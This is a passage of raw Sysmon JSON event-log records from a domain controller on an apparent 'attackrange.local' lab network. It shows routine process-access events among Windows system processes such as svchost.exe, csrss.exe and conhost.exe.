11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6300,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6301,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6302,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6303,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.932\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-422C-5F2D-0000-00104A2B0900}\r\nTargetProcessId: 5060\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.932","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-422C-5F2D-0000-00104A2B0900}","TargetProcessId":"5060","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6304,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.932\r\nSourceProcessGUID: {90617006-422C-5F2D-0000-00104A2B0900}\r\nSourceProcessId: 5060\r\nSourceThreadId: 2284\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-422C-5F2D-0000-0010A92A0900}\r\nTargetProcessId: 4696\r\nTargetImage: C:\\Windows\\System32\\XblGameSaveTask.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.932","SourceProcessGUID":"{90617006-422C-5F2D-0000-00104A2B0900}","SourceProcessId":"5060","SourceThreadId":"2284","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-422C-5F2D-0000-0010A92A0900}","TargetProcessId":"4696","TargetImage":"C:\\Windows\\System32\\XblGameSaveTask.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6305,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6306,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6307,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6308,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\